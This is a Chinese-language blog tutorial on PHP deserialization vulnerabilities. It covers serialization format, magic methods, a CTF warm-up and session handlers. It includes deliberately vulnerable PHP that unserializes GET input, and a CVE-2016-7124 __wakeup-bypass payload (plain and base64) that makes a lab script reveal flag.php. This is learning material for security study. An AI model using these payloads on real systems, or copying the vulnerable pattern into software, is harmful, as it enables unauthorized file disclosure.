PHP反序列化学习

PHP序列化是什么

serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击

示例

序列化
<?php
    class test{
        private $flag = "flag{2333}";
        public $a = 'aaa';
        public $b = 'bbb';
    }

    $test = new test;
    $data = serialize($test);
    echo $data.'<br />';
    echo urlencode($data);
?>

反序列化可以控制类属性,无论是private还是public

image-20191103143410833

O:4:"test":2:{s:10:"testflag";s:9:"flag{233}";s:1:"a";s:3:"aaa";}
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}

这里说明一下序列化字符串的含义:
O:4:"test"指Object(对象) 4个字符:test
:2对象属性个数为2
{}中为属性字符数:属性值

注意:可以看到testflag的长度为8,序列化中却显示长度为10。这是因为它是private属性,翻阅文档就会在两侧加入空字节。

image-20191103143536166

所以在传入序列化字符串进行反序列化时需要注意补齐两个空字节。

反序列化
<?php
    $str =     'O%3A4%3A%22test%22%3A3%3A%7Bs%3A10%3A%22%00test%00flag%22%3Bs%3A10%3A%22flag%7B2333%7D%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22aaa%22%3Bs%3A1%3A%22b%22%3Bs%3A3%3A%22bbb%22%3B%7D';
    $data = urldecode($str);
    echo $data.'<br />';
    var_dump(unserialize($data));
?>

image-20191103143833120

image-20191103143753428

魔术方法

在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。

常见方法
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
比较重要的方法
__sleep()

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

__wakeup

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作

实例
<?php
    class t{
        public function __construct($ID,$sex,$age){
            $this->ID = $ID;
            $this->sex = $sex;
            $this->age = $age;
            $this->info = sprintf("ID: %s,Sex: %s,age: %d",$this->ID,$this->sex,$this->age);
        }
        public function getinfo(){
            echo $this->info.'<br />';
        }
        public function __sleep(){
            echo __METHOD__.'<br />';
            return ['ID','sex','age'];
        }
        public function __wakeup(){
            echo __METHOD__.'<br />';
            $this->info = sprintf("ID: %s,Sex: %s,age: %d",$this->ID,$this->sex,$this->age);
        }
    }

    $test = new t('Tao','N','18');
    $test->getinfo();

    $ttest = serialize($test);
    echo $ttest.'<br />';

    $test = unserialize($ttest);
    echo $test->getinfo();
?>

image-20191103144220399

__toString()

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

<?php
    class Tao{
        public function __construct($ID,$sex,$age){
            $this->ID = $ID;
            $this->sex = $sex;
            $this->age = $age;
            $this->info = sprintf("ID: %s | Sex: %s | Age: %d ",$this->ID,$this->sex,$this->age);
        }
        public function __toString(){
            return $this->info;
        }
    }
    $tao = new Tao('Tao','N',18);
    echo $tao;
?>

image-20191103144840189

热身题

这是D0g3平台一道很简单的反序列化的题,GET读str内容进行反序列化等于$KEY就get flag了

<?php 
error_reporting(0); 
include 'flag.php'; 
$KEY = 'D0g3!!!'; 
$str = $_GET['str']; 
if (unserialize($str)=="$KEY"){ 
    echo "$flag"; 
} 
show_source(__FILE__);
?>

image-20191103145632768

http://127.0.0.1/demo.php?str=s:7:"D0g3!!!"

http://127.0.0.1/demo.php?str=s:7:%22D0g3!!!%22

image-20191103145809447

反序列化对象注入

绕过__wakeup()方法
<?php
class SoFun{
    protected $file='demo.php';
    public function __destruct(){
        if (!empty($this->file)){
            if (strchr($this->file,"\\")==false && strchr($this->file,'/')===false){
                show_source(dirname(__FILE__).'/'.$this->file);
            }else{
                die('wrong filename');
            }
        }
    }

    function __wakeup(){
        $this->file = 'index.php';
    }
    public function __toString(){
        return '';
    }
}
if (!isset($_GET['file'])){
    show_source('demo.php');
}else{
    $file=base64_decode($_GET['file']);
    echo unserialize($file);
}
?>

分析一下源码,__destruct方法中show_source(dirname (__FILE__).'/'.$this ->file);会读取file文件内容,我们需要利用这里来读flag.php,思路大概就是构造序列化对象然后base64编码传入,经过unserialize将file设为flag.php,但是__wakeup会在unserialize之前执行,所以要绕过这一点

这里就要用到CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

构造序列化对象:O:5:”SoFun”:1:{S:7:”00*00file”;s:8:”flag.php”;}
绕过__wakeup:O:5:”SoFun”:2:{S:7:”00*00file”;s:8:”flag.php”;}

注意:因为file是protect属性,所以需要加上00*00。再base64编码。

image-20191103152637990

payload:Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

image-20191103152114266

相对简单的例子来加以理解

<?php
error_reporting(0);
    class simple {
        public $Key = 'Tao';
        function __destruct(){
            if (!empty($this->key)){
                if ($this->key == 'Tao'){
                    echo 'successful';
                }
            }
        }

        function __wakeup(){
            $this->key = 'you failed 23333';
            echo $this->key;
        }
        function __toString(){
            return '';
        }
    }
    if (!isset($_GET['a'])){
        show_source('demo.php');
    }else{
        $a = $_GET['a'];
        echo $a;
        echo '<br />';
        echo unserialize($a);
    }
?>

我们首先构造序列化正常序列化对象: O:6:"simple":1:{s:3:"key";s:3:"Tao";}

image-20191103154933189

发现__wakeup()会先执行,__destruct()中的判断不成立,无法输出success,尝试将对象属性个数1改为任意大于1的数,即可绕过__wakeup()

image-20191103155011385

Session 反序列化漏洞

首先我们需要了解session反序列化是什么?
PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化
在php.ini中有以下配置项,phpstudy的默认配置如图

image-20191103155200486

image-20191103155244260

session.save_path 设置session的存储路径
session.save_handler 设定用户自定义存储函数
session.auto_start 指定会话模块是否在请求开始时启动一个会话
session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php

除了默认的session序列化引擎php外,还有几种引擎,不同引擎存储方式不同

存储引擎存储格式
php_binary键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值
php键名+竖线+经过serialize()函数反序列处理的值
php_serializeserialize()函数反序列处理数组方式
后面待学习。。。

参考链接

本文链接:

https://www.betao.cn/archives/php-deserialization.html
1 + 1 =
快来做第一个评论的人吧~